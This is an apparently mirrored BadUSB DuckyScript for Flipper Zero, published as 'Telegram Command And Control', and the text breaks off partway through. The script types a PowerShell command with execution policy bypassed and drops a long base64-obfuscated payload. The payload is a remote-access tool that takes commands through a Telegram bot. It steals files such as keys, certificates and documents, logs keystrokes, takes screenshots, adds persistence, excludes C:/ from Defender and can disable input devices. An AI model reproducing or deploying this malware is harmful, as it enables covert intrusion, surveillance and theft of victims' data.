mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-05 01:07:15 -08:00
35 lines
42 KiB
Plaintext
35 lines
42 KiB
Plaintext
REM Title: beigeworm's Telegram Command And Control.
|
|
REM Author: @beigeworm
|
|
REM Description: Using a Telegram Bot's Chat to Act as a Command and Control Platform.
|
|
REM Target: Windows 10 and 11
|
|
|
|
REM SETUP INSTRUCTIONS
|
|
REM 1. visit https://t.me/botfather and make a bot.
|
|
REM 2. add bot api to script.
|
|
REM 3. search for bot in top left box in telegram and start a chat then type /start.
|
|
REM 5. Run Script on target System
|
|
REM 6. Check telegram chat for 'waiting to connect' message.
|
|
REM 7. this script has a feature to wait until you start the session from telegram.
|
|
REM 8. type in the computer name from that message into telegram bot chat to connect to that computer.
|
|
REM 9. Replace TELEGRAM_BOT_API_TOKEN_HERE Below with your Telegram Bot API Token
|
|
|
|
REM some setup for dukie script
|
|
DEFAULT_DELAY 100
|
|
|
|
REM Open Powershell and start logs.
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell -NoP -NonI -Exec Bypass
|
|
ENTER
|
|
DELAY 5000
|
|
|
|
STRING '$tg = "TELEGRAM_BOT_API_TOKEN_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force
|
|
ENTER
|
|
STRING $b64 = 'JFRva2VuID0gIiR0ZyIgICMgUkVQTEFDRSAkdGcgd2l0aCBZb3VyIFRlbGVncmFtIEJvdCBUb2tlbiAoIExFQVZFIEFMT05FIFdIRU4gVVNJTkcgQSBTVEFHRVIuLiBlZy4gQSBGbGlwcGVyIFplcm8sICBTdGFydC1UR0MyLUNsaWVudC52YnMgZXRjICkNCiRQYXNzUGhyYXNlID0gIiRlbnY6Q09NUFVURVJOQU1FIiAjICdwYXNzd29yZCcgZm9yIHRoaXMgY29ubmVjdGlvbiAoY29tcHV0ZXJuYW1lIGJ5IGRlZmF1bHQpDQokZ2xvYmFsOmVycm9ybXNnID0gMCAjIDEgPSByZXR1cm4gZXJyb3IgbWVzc2FnZXMgdG8gY2hhdCAob2ZmIGJ5IGRlZmF1bHQpDQokcGFyZW50ID0gImh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZWlnZXdvcm0vUG93ZXJzaGVsbC1Ub29scy1hbmQtVG95cy9tYWluL0NvbW1hbmQtYW5kLUNvbnRyb2wvVGVsZWdyYW0tQzItQ2xpZW50LnBzMSIgIyBwYXJlbnQgc2NyaXB0IFVSTCAoZm9yIHJlc3RhcnRzIGFuZCBwZXJzaXN0YW5jZSkNCiRhcGlVcmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kTWVzc2FnZSINCiRVUkwgPSAnaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdHswfScgLWYgJFRva2VuDQokQWNjZXB0ZWRTZXNzaW9uPSIiDQokTGFzdFVuQXV0aGVudGljYXRlZE1lc3NhZ2U9IiINCiRsYXN0ZXhlY01lc3NhZ2VJRD0iIg0KDQojIFN0YXJ0dXAgRGVsYXkNClNsZWVwIDUNCmlmKFRlc3QtUGF0aCAiQzpcV2luZG93c1xUYXNrc1xzZXJ2aWNlLnZicyIpe3JtIC1wYXRoICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIiAtRm9yY2V9DQoNCiMgR2V0IENoYXQgSUQgZnJvbSB0aGUgYm90DQp3aGlsZSgkY2hhdElELmxlbmd0aCAtZXEgMCl7DQogICAgJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCiAgICBpZiAoJHVwZGF0ZXMub2sgLWVxICR0cnVlKSB7JGxhdGVzdFVwZGF0ZSA9ICR1cGRhdGVzLnJlc3VsdFstMV0NCiAgICBpZiAoJGxhdGVzdFVwZGF0ZS5tZXNzYWdlIC1uZSAkbnVsbCl7JGNoYXRJRCA9ICRsYXRlc3RVcGRhdGUubWVzc2FnZS5jaGF0LmlkfX0NCiAgICBTbGVlcCAxMA0KfQ0KDQojIEVtb2ppIGNoYXJhY3RlcnMgYW5kIG90aGVyIHNldHVwDQokY2hhckNvZGVzID0gQCgweDI3MDUsIDB4MUY0QkIsIDB4Mjc0QywgMHgxRjU1QywgMHgxRjUwRCwgMHgxRjUxNywgMHgyM0Y4KQ0KJGNoYXJzID0gJGNoYXJDb2RlcyB8IEZvckVhY2gtT2JqZWN0IHsgW2NoYXJdOjpDb252ZXJ0RnJvbVV0ZjMyKCRfKSB9DQokdGljaywgJGNvbXAsICRjbG9zZWQsICR3YWl0aW5nLCAkZ2xhc3MsICRjbWRlLCAkcGF1c2UgPSAkY2hhcnMNCiRzY3JpcHREaXJlY3RvcnkgPSBHZXQtQ29udGVudCAtcGF0aCAkTXlJbnZvY2F0aW9uLk15Q29tbWFuZC5OYW1lIC1SYXcNCiRNdHMgPSBOZXctT2JqZWN0IHBzb2JqZWN0IA0KJE10cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdjaGF0X2lkJyAtVmFsdWUgJENoYXRJRA0KDQpGdW5jdGlvbiBQb3N0LU1lc3NhZ2V7DQogICAgJHNjcmlwdDpwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KICAgIH0NCg0KIyBNZXNzYWdlIHdhaXRpbmcgZm9yIHBhc3NwaHJhc2UNCiRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkd2FpdGluZyBXYWl0aW5nIHRvIENvbm5lY3QuLiINClBvc3QtTWVzc2FnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIENPTU1BTkRTIC8gRlVOQ1RJT05TIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KRnVuY3Rpb24gT3B0aW9uc3sNCiRjb250ZW50cyA9ICI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9PT09PT09PT09PT09ICRjbWRlIENvbW1hbmRzIExpc3QgJGNtZGUgPT09PT09PT09PT09DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCkNsb3NlICAgOiBDbG9zZSB0aGlzIFNlc3Npb24NCkV4dHJhLUluZm8gICAgOiBFeHRyYSBjb21tYW5kcyBpbmZvcm1hdGlvbg0KUGF1c2UtU2Vzc2lvbiAgIDogS2lsbHMgdGhpcyBzZXNzaW9uIGFuZCByZXN0YXJ0cw0KVG9nZ2xlLUVycm9ycyAgICA6IFRvZ2dsZSBlcnJvciBtZXNzYWdlcyB0byBjaGF0DQpGb2xkZXItVHJlZSAgICA6IEdldHMgRGlyIHRyZWUgYW5kIHNlbmRzIGl0IHppcHBlZA0KU2NyZWVuc2hvdCAgIDogU2VuZHMgYSBzY3JlZW5zaG90IG9mIHRoZSBkZXNrdG9wDQpLZXktQ2FwdHVyZSAgICA6IENhcHR1cmUgS2V5c3Ryb2tlcyBhbmQgc2VuZA0KRXhmaWx0cmF0ZSAgIDogU2VuZHMgZmlsZXMgKHNlZSAnRXh0cmEtSW5mbycgZm9yIG1vcmUpDQpVcGxvYWQgICAgICA6IFVwbG9hZHMgYSBzcGVjaWZpYyBmaWxlICh1c2UgLXBhdGgpDQpTeXN0ZW0tSW5mbyAgIDogU2VuZCBTeXN0ZW0gaW5mbyBhcyB0ZXh0IGZpbGUNClNvZnR3YXJlLUluZm8gICA6IFNlbmQgU29mdHdhcmUgaW5mbyBhcyB0ZXh0IGZpbGUNCkhpc3RvcnktSW5mbyAgIDogU2VuZCBIaXN0b3J5IGluZm8gYXMgdGV4dCBmaWxlDQpFbnVtZXJhdGUtTEFOICAgOiBJbmZvIGZvciBvdGhlciBkZXZpY2VzIG9uIHRoZSBMQU4NCkFkZC1QZXJzaXN0YW5jZSAgIDogQWRkIFRlbGVncmFtIEMyIHRvIFN0YXJ0dXANClJlbW92ZS1QZXJzaXN0YW5jZSAgIDogUmVtb3ZlIFN0YXJ0dXAgUGVyc2lzdGFuY2UNCklzLUFkbWluICAgOiBDaGVja3MgaWYgc2Vzc2lvbiBoYXMgYWRtaW4gUHJpdmlsZWdlcw0KQXR0ZW1wdC1FbGV2YXRlICA6IFNlbmQgdXNlciBhIHByb21wdCB0byBnYWluIEFkbWluDQpNZXNzYWdlICAgOiBTZW5kIGEgY3VzdG9tIG1lc3NhZ2UgdG8gdGhlIHVzZXINCktpbGwgICAgOiBLaWxsc3dpdGNoIGZvciAnS2V5LUNhcHR1cmUnIGFuZCAnRXhmaWx0cmF0ZScgDQoqKkFETUlOIE9OTFkgRlVOQ1RJT05TKioNCkRpc2FibGUtQVYgICA6IEF0dGVtcHQgdG8gZXhjbHVkZSBDOi8gZnJvbSBEZWZlbmRlcg0KRGlzYWJsZS1ISUQgICA6IERpc2FibGUgTWljZSBhbmQgS2V5Ym9hcmRzDQpFbmFibGUtSElEICAgIDogRW5hYmxlIE1pY2UgYW5kIEtleWJvYXJkcw0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ig0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCn0NCg0KRnVuY3Rpb24gRXh0cmEtSW5mb3sNCiRjb250ZW50cyA9ICI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9PT09PT09PT09PT0gJGdsYXNzIEV4YW1wbGVzIGFuZCBJbmZvICRnbGFzcyA9PT09PT09PT09PQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQo9PT09PT09PT0gIEV4ZmlsdHJhdGUgQ29tbWFuZCBFeGFtcGxlcyA9PT09PT09PT09DQooIFBTYD4gRXhmaWx0cmF0ZSAtUGF0aCBEb2N1bWVudHMgLUZpbGV0eXBlIHBuZyApDQooIFBTYD4gRXhmaWx0cmF0ZSAtRmlsZXR5cGUgbG9nICkNCiggUFNgPiBFeGZpbHRyYXRlICkNCkV4ZmlsdHJhdGUgb25seSB3aWxsIHNlbmQgbWFueSBwcmUtZGVmaW5lZCBmaWxldHlwZXMNCmZyb20gYWxsIFVzZXIgRm9sZGVycyBsaWtlIERvY3VtZW50cywgRG93bmxvYWRzIGV0Yy4uDQoNClBBVEgNCkRvY3VtZW50cywgRGVza3RvcCwgRG93bmxvYWRzLA0KT25lRHJpdmUsIFBpY3R1cmVzLCBWaWRlb3MuDQpGSUxFVFlQRQ0KbG9nLCBkYiwgdHh0LCBkb2MsIHBkZiwganBnLCBqcGVnLCBwbmcsDQp3ZG9jLCB4ZG9jLCBjZXIsIGtleSwgeGxzLCB4bHN4LA0KY2ZnLCBjb25mLCBkb2N4LCByZnQuDQoNCj09PT09PT09PT09ICBVcGxvYWQgQ29tbWFuZCBFeGFtcGxlID09PT09PT09PT09DQooIFBTYD4gVXBsb2FkIC1QYXRoIEM6L1BhdGgvVG8vRmlsZS50eHQgKQ0KVXNlICdGb2xkZXItVHJlZScgY29tbWFuZCB0byBzaG93IGFsbCBmaWxlcw0KDQo9PT09PT09PT09PT0gIEVudW1lcmF0ZS1MQU4gRXhhbXBsZSA9PT09PT09PT09PT0NCiggUFNgPiBFbnVtZXJhdGUtTEFOIC1QcmVmaXggMTkyLjE2OC4xLiApDQpUaGlzIEVnLiB3aWxsIHNjYW4gMTkyLjE2OC4xLjEgdG8gMTkyLjE2OC4xLjI1NA0KDQo9PT09PT09PT09PT09PT0gIE1lc3NhZ2UgRXhhbXBsZSA9PT09PT09PT09PT09PT0NCiggUFNgPiBNZXNzYWdlICdZb3VyIE1lc3NhZ2UgSGVyZSEnICkNCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSINClBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIENsb3Nlew0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgQ29ubmVjdGlvbiBDbG9zZWQiDQpQb3N0LU1lc3NhZ2UNCnJtIC1QYXRoICIkZW52OnRlbXAvdGdjMi50eHQiIC1Gb3JjZQ0KZXhpdA0KfQ0KDQpGdW5jdGlvbiBVcGxvYWR7DQpwYXJhbSAoW3N0cmluZ1tdXSRQYXRoKQ0KaWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCl7DQogICAgJGV4dGVuc2lvbiA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEV4dGVuc2lvbigkcGF0aCkNCiAgICBpZiAoJGV4dGVuc2lvbiAtZXEgIi5leGUiIC1vciAkZXh0ZW5zaW9uIC1lcSAiLm1zaSIpIHsNCiAgICAgICAgJHRlbXBaaXBGaWxlUGF0aCA9IFtTeXN0ZW0uSU8uUGF0aF06OkNvbWJpbmUoW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKSwgW1N5c3RlbS5JTy5QYXRoXTo6R2V0RmlsZU5hbWUoJHBhdGgpKQ0KICAgICAgICBBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQogICAgICAgIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06OkNyZWF0ZUZyb21EaXJlY3RvcnkoJHBhdGgsICR0ZW1wWmlwRmlsZVBhdGgpDQogICAgICAgIGN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJHRlbXBaaXBGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQogICAgICAgIFdyaXRlLU91dHB1dCAiRmlsZSBVcGxvYWQgQ29tcGxldGU6ICRwYXRoIg0KICAgICAgICBSbSAtUGF0aCAkdGVtcFppcEZpbGVQYXRoIC1SZWN1cnNlIC1Gb3JjZQ0KICAgIH1lbHNlew0KICAgICAgICBjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNCiAgICAgICAgV3JpdGUtT3V0cHV0ICJGaWxlIFVwbG9hZCBDb21wbGV0ZTogJHBhdGgiDQogICAgfQ0KfWVsc2V7V3JpdGUtSG9zdCAiRmlsZSBOb3QgRm91bmQ6ICRwYXRoIn0NCn0NCg0KRnVuY3Rpb24gRXhmaWx0cmF0ZSB7DQpwYXJhbSAoW3N0cmluZ1tdXSRGaWxlVHlwZSxbc3RyaW5nW11dJFBhdGgpDQokbWF4WmlwRmlsZVNpemUgPSA1ME1CDQokY3VycmVudFppcFNpemUgPSAwDQokaW5kZXggPSAxDQokRmlsZVBhdGggPSIkZW52OnRlbXAvTG9vdCRpbmRleC56aXAiDQokY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgRXhmaWx0cmF0aW9uIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCklmKCRQYXRoIC1uZSAkbnVsbCl7JGZvbGRlcnNUb1NlYXJjaCA9ICIkZW52OlVTRVJQUk9GSUxFXCIrJFBhdGh9DQplbHNleyRmb2xkZXJzVG9TZWFyY2ggPSBAKCIkZW52OlVTRVJQUk9GSUxFXERvY3VtZW50cyIsIiRlbnY6VVNFUlBST0ZJTEVcRGVza3RvcCIsIiRlbnY6VVNFUlBST0ZJTEVcRG93bmxvYWRzIiwiJGVudjpVU0VSUFJPRklMRVxPbmVEcml2ZSIsIiRlbnY6VVNFUlBST0ZJTEVcUGljdHVyZXMiLCIkZW52OlVTRVJQUk9GSUxFXFZpZGVvcyIpfQ0KSWYoJEZpbGVUeXBlIC1uZSAkbnVsbCl7JGZpbGVFeHRlbnNpb25zID0gIiouIiskRmlsZVR5cGV9DQplbHNlIHskZmlsZUV4dGVuc2lvbnMgPSBAKCIqLmxvZyIsICIqLmRiIiwgIioudHh0IiwgIiouZG9jIiwgIioucGRmIiwgIiouanBnIiwgIiouanBlZyIsICIqLnBuZyIsICIqLndkb2MiLCAiKi54ZG9jIiwgIiouY2VyIiwgIioua2V5IiwgIioueGxzIiwgIioueGxzeCIsICIqLmNmZyIsICIqLmNvbmYiLCAiKi5kb2N4IiwgIioucmZ0Iil9DQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQokemlwQXJjaGl2ZSA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06Ok9wZW4oJEZpbGVQYXRoLCAnQ3JlYXRlJykNCiRlc2Ntc2cgPSAiRmlsZXMgZnJvbSA6ICIrJGVudjpDT01QVVRFUk5BTUUNCmZvcmVhY2ggKCRmb2xkZXIgaW4gJGZvbGRlcnNUb1NlYXJjaCkgew0KICAgIGZvcmVhY2ggKCRleHRlbnNpb24gaW4gJGZpbGVFeHRlbnNpb25zKSB7DQogICAgICAgICRmaWxlcyA9IEdldC1DaGlsZEl0ZW0gLVBhdGggJGZvbGRlciAtRmlsdGVyICRleHRlbnNpb24gLUZpbGUgLVJlY3Vyc2UNCiAgICAgICAgZm9yZWFjaCAoJGZpbGUgaW4gJGZpbGVzKSB7DQogICAgICAgICAgICAkZmlsZVNpemUgPSAkZmlsZS5MZW5ndGgNCiAgICAgICAgICAgIGlmICgkY3VycmVudFppcFNpemUgKyAkZmlsZVNpemUgLWd0ICRtYXhaaXBGaWxlU2l6ZSkgew0KICAgICAgICAgICAgICAgICR6aXBBcmNoaXZlLkRpc3Bvc2UoKQ0KICAgICAgICAgICAgICAgICRjdXJyZW50WmlwU2l6ZSA9IDANCiAgICAgICAgICAgICAgICBQb3N0LUZpbGU7IHJtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCiAgICAgICAgICAgICAgICBTbGVlcCAxDQogICAgICAgICAgICAgICAgJGluZGV4KysNCiAgICAgICAgICAgICAgICAkRmlsZVBhdGggPSIkZW52OnRlbXAvTG9vdCRpbmRleC56aXAiDQogICAgICAgICAgICAgICAgJHppcEFyY2hpdmUgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpPcGVuKCRGaWxlUGF0aCwgJ0NyZWF0ZScpDQogICAgICAgICAgICAgICAgJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBFeGZpbHRyYXRpb24gS2lsbGVkIg0KICAgICAgICAgICAgICAgICAgICBQb3N0LU1lc3NhZ2UNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZW50cnlOYW1lID0gJGZpbGUuRnVsbE5hbWUuU3Vic3RyaW5nKCRmb2xkZXIuTGVuZ3RoICsgMSkNCiAgICAgICAgICAgICAgICBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVFeHRlbnNpb25zXTo6Q3JlYXRlRW50cnlGcm9tRmlsZSgkemlwQXJjaGl2ZSwgJGZpbGUuRnVsbE5hbWUsICRlbnRyeU5hbWUpDQogICAgICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplICs9ICRmaWxlU2l6ZQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KJHppcEFyY2hpdmUuRGlzcG9zZSgpDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFeGZpbHRyYXRpb24gQ29tcGxldGUhIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCn0NCg0KRnVuY3Rpb24gU2NyZWVuc2hvdHsNCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLldpbmRvd3MuRm9ybXMNCiRzY3JlZW4gPSBbU3lzdGVtLldpbmRvd3MuRm9ybXMuU3lzdGVtSW5mb3JtYXRpb25dOjpWaXJ0dWFsU2NyZWVuDQokYml0bWFwID0gTmV3LU9iamVjdCBEcmF3aW5nLkJpdG1hcCAkc2NyZWVuLldpZHRoLCAkc2NyZWVuLkhlaWdodA0KJGdyYXBoaWNzID0gW1N5c3RlbS5EcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiaXRtYXApDQokZ3JhcGhpY3MuQ29weUZyb21TY3JlZW4oJHNjcmVlbi5MZWZ0LCAkc2NyZWVuLlRvcCwgMCwgMCwgJHNjcmVlbi5TaXplKQ0KJGZpbGVQYXRoID0gIiRlbnY6dGVtcFxzYy5wbmciDQokYml0bWFwLlNhdmUoJGZpbGVQYXRoLCBbU3lzdGVtLkRyYXdpbmcuSW1hZ2luZy5JbWFnZUZvcm1hdF06OlBuZykNCiRncmFwaGljcy5EaXNwb3NlKCkNCiRiaXRtYXAuRGlzcG9zZSgpDQpQb3N0LUZpbGU7IHJtIC1QYXRoICRmaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gS2V5LUNhcHR1cmUgew0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEtleUNhcHR1cmUgU3RhcnRlZC4uIChTdG9wIHdpdGggS2lsbHN3aXRjaCkiDQpQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KJEFQSSA9ICdbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8sIEV4YWN0U3BlbGxpbmc9dHJ1ZSldIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIHNob3J0IEdldEFzeW5jS2V5U3RhdGUoaW50IHZpcnR1YWxLZXlDb2RlKTsgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0S2V5Ym9hcmRTdGF0ZShieXRlW10ga2V5c3RhdGUpO1tEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IE1hcFZpcnR1YWxLZXkodWludCB1Q29kZSwgaW50IHVNYXBUeXBlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBUb1VuaWNvZGUodWludCB3VmlydEtleSwgdWludCB3U2NhbkNvZGUsIGJ5dGVbXSBscGtleXN0YXRlLCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyIHB3c3pCdWZmLCBpbnQgY2NoQnVmZiwgdWludCB3RmxhZ3MpOycNCiRBUEkgPSBBZGQtVHlwZSAtTWVtYmVyRGVmaW5pdGlvbiAkQVBJIC1OYW1lICdXaW4zMicgLU5hbWVzcGFjZSBBUEkgLVBhc3NUaHJ1DQokTGFzdEtleXByZXNzVGltZSA9IFtTeXN0ZW0uRGlhZ25vc3RpY3MuU3RvcHdhdGNoXTo6U3RhcnROZXcoKQ0KJEtleXByZXNzVGhyZXNob2xkID0gW1RpbWVTcGFuXTo6RnJvbVNlY29uZHMoMTApDQpXaGlsZSAoJHRydWUpew0KICAgICRrZXlQcmVzc2VkID0gJGZhbHNlDQogICAgdHJ5ew0KICAgIHdoaWxlICgkTGFzdEtleXByZXNzVGltZS5FbGFwc2VkIC1sdCAkS2V5cHJlc3NUaHJlc2hvbGQpIHsNCiAgICAgICAgU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAzMA0KICAgICAgICBmb3IgKCRhc2MgPSA4OyAkYXNjIC1sZSAyNTQ7ICRhc2MrKyl7DQogICAgICAgICRrZXlzdCA9ICRBUEk6OkdldEFzeW5jS2V5U3RhdGUoJGFzYykNCiAgICAgICAgICAgIGlmICgka2V5c3QgLWVxIC0zMjc2Nykgew0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQogICAgICAgICAgICAkbnVsbCA9IFtjb25zb2xlXTo6Q2Fwc0xvY2sNCiAgICAgICAgICAgICR2dGtleSA9ICRBUEk6Ok1hcFZpcnR1YWxLZXkoJGFzYywgMykNCiAgICAgICAgICAgICRrYnN0ID0gTmV3LU9iamVjdCBCeXRlW10gMjU2DQogICAgICAgICAgICAkY2hlY2trYnN0ID0gJEFQSTo6R2V0S2V5Ym9hcmRTdGF0ZSgka2JzdCkNCiAgICAgICAgICAgICRsb2djaGFyID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJEFQSTo6VG9Vbmljb2RlKCRhc2MsICR2dGtleSwgJGtic3QsICRsb2djaGFyLCAkbG9nY2hhci5DYXBhY2l0eSwgMCkpIHsNCiAgICAgICAgICAgICAgICAkTFN0cmluZyA9ICRsb2djaGFyLlRvU3RyaW5nKCkNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDgpIHskTFN0cmluZyA9ICJbQktTUF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMTMpIHskTFN0cmluZyA9ICJbRU5UXSJ9DQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSAyNykgeyRMU3RyaW5nID0gIltFU0NdIn0NCiAgICAgICAgICAgICAgICAgICAgJG5vc2F2ZSArPSAkTFN0cmluZyANCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkbWVzc2FnZXM9UmVjZWl2ZU1TRw0KICAgICAgICBpZiAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIEtleUNhcHR1cmUgS2lsbGVkIg0KICAgICAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgICAgICBicmVhaw0KICAgICAgICB9DQogICAgfQ0KICAgIGZpbmFsbHl7DQogICAgICAgIElmICgka2V5UHJlc3NlZCAtYW5kICRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLW5vdGNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAgICAgJGVzY21zZ3N5cyA9ICRub3NhdmUgLXJlcGxhY2UgJ1smPD5dJywgeyRhcmdzWzBdLlZhbHVlLlJlcGxhY2UoJyYnLCAnJmFtcDsnKS5SZXBsYWNlKCc8JywgJyZsdDsnKS5SZXBsYWNlKCc+JywgJyZndDsnKX0NCiAgICAgICAgICAgICR0aW1lc3RhbXAgPSBHZXQtRGF0ZSAtRm9ybWF0ICJkZC1NTS15eXl5IEhIOm1tOnNzIg0KICAgICAgICAgICAgJGNvbnRlbnRzID0gIiRnbGFzcyBLZXlzIENhcHR1cmVkIDogIiskZXNjbXNnc3lzDQogICAgICAgICAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkZmFsc2UNCiAgICAgICAgICAgICRub3NhdmUgPSAiIg0KICAgICAgICB9DQogICAgfQ0KJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQpTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwDQp9DQp9DQoNCkZ1bmN0aW9uIFN5c3RlbS1JbmZvew0KJGZ1bGxOYW1lID0gTmV0IFVzZXIgJEVudjp1c2VybmFtZSB8IFNlbGVjdC1TdHJpbmcgLVBhdHRlcm4gIkZ1bGwgTmFtZSI7JGZ1bGxOYW1lID0gKCIkZnVsbE5hbWUiKS5UcmltU3RhcnQoIkZ1bGwiKQ0KJGVtYWlsID0gR1BSRVNVTFQgLVogL1VTRVIgJEVudjp1c2VybmFtZSB8IFNlbGVjdC1TdHJpbmcgLVBhdHRlcm4gIihbYS16QS1aMC05X1wtXC5dKylAKFthLXpBLVowLTlfXC1cLl0rKVwuKFthLXpBLVpdezIsNX0pIiAtQWxsTWF0Y2hlczskZW1haWwgPSAoIiRlbWFpbCIpLlRyaW0oKQ0KJGNvbXB1dGVyUHViSVA9KEludm9rZS1XZWJSZXF1ZXN0IGlwaW5mby5pby9pcCAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50DQokY29tcHV0ZXJJUCA9IGdldC